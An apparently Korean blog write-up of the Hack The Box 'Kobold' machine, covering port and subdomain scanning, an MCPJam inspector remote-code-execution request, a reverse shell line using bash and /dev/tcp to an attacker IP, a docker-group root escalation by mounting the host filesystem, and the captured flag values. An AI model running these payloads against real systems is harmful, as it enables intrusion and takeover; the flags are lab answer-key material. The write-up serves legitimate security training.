https://app.hackthebox.com/machines/Kobold
Hack The Box
app.hackthebox.com
초기 침투 및 User Flag 획득
포트 스캐닝
nmap -sS --top-ports=1000 kobold.htb

포트 스캐닝 결과 22, 80, 443 포트가 열려 있음을 확인할 수 있다.
nmap -sC -sV -p 22,80,443 kobold.htb
열려있는 포트에 대해 자세한 정보를 얻기 위해 기본 NSE 스크립트와 버전 정보 확인 옵션을 주어서 다시 돌렸다.

서브 도메인이 존재할 수 있다는 내용을 확인했다.
서브 도메인 스캐닝
ffuf -u https://kobold.htb/ -w /usr/share/dirb/wordlists/common.txt -H "Host: FUZZ.kobold.htb" -fs 154
ffuf를 이용해서 서브 도메인을 찾았다. 핵더박스에서는 가상 호스트를 사용하기 때문에 Host 헤더에 FUZZ를 넣어주었다.
존재하지 않는 페이지에 대한 응답 사이즈가 154이었기 때문에 -fs 154의 조건을 넣었다.

그 결과 bin과 mcp 서브 도메인을 찾았다.

위 사진과 같이 hosts 파일에 서브 도메인 주소도 넣어주었다.
MCPJam

MCP 서브 도메인에서는 MCPJam이 돌아가고 있다.
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
REC in MCPJam inspector due to HTTP Endpoint exposes
### Summary MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, whi...
github.com
버전 체크는 못했지만 CVE-2026-23744가 존재하는 오픈 소스임을 확인했다. 이는 RCE가 가능한 취약점이다. 이를 통해 리버스쉘을 연결했다.
python -m http.server 9999
파이썬으로 서버를 만들어서 rce가 되는지 테스트해보았다. kali에서 위 명령어를 쳐주자.
curl -L -k https://mcp.kobold.htb/api/mcp/connect \
-H "Host: mcp.kobold.htb" \
-H "Content-Type: application/json" \
--data '{"serverConfig":{"command":"curl","args":["http://10.10.16.6:9999/"]},"serverId":"test"}'
위 요청을 통해 파이썬 서버에 요청이 들어온다면 성공이다.

위와 같은 요청이 오면 성공이다.
curl -L -k https://mcp.kobold.htb/api/mcp/connect \
-H "Host: mcp.kobold.htb" \
-H "Content-Type: application/json" \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.6/8888 0>&1"]},"serverId":"test"}'
위와 같은 요청으로 리버스 쉘을 연결할 수 있다.

처음부터 ben 계정을 얻을 수 있었기 때문에 바로 User Flag를 얻어 주었다.

40dfa5d2b21e9ee6093e8cc8e53e89d9
짜잔
Root Flag
시스템을 탐색하면서 docker를 확인해봤다.

권한 문제가 발생했다. 이를 우회하기 위한 방법을 현재까지 2가지 조사했다.
- newgrp 명령어
- sg 명령어
각각 사용 예시는 아래와 같다.
newgrp docker
docker ps
sg docker -c "docker ps"
docker 컨테이너는 기본적으로 컨테이너 내부에서 root 권한으로 실행된다. 따라서 호스트 전체 파일 시스템을 컨테이너 내부의 /mnt로 마운트 시켜서 루트 권한의 파일을 읽을 수 있다.
예시 명령어는 아래와 같다.
docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
아래의 명령어로 Root Flag를 읽을 수 있다.
cat /mnt/root/root.txt

dfe0b35b5cec10d974e9ea6c440310dc
'레드팀 > HackTheBox' 카테고리의 다른 글
| [HTB] Facts 풀이 (0) | 2026.05.03 |
|---|---|
| [HTB] Conversor 풀이 (0) | 2026.03.20 |
| [HTB-Academy] Penetration Tester Path - Network Enumeration with Nmap (0) | 2025.12.22 |